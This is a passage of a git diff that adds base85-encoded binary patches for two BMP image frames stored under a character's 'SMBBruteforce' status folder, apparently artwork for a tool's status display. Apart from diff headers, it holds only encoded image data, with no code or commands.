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 V|1nk=um3vl{}k)r^s$A-{{soS$*TYW literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce12.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce12.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1848bb06f7cc059f8c12d2714eab268f5edbac54 GIT binary patch literal 18462 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 YtPebSc>yeE$j3Qj^sMsP`O>BT1#fPDX#fBK literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce13.bmp b/resources/default_config/characters/ALVA/status/SMBBruteforce/SMBBruteforce13.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a47321891dcb284824ca1c75794c9a9b96e5431e GIT binary patch literal 18462 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 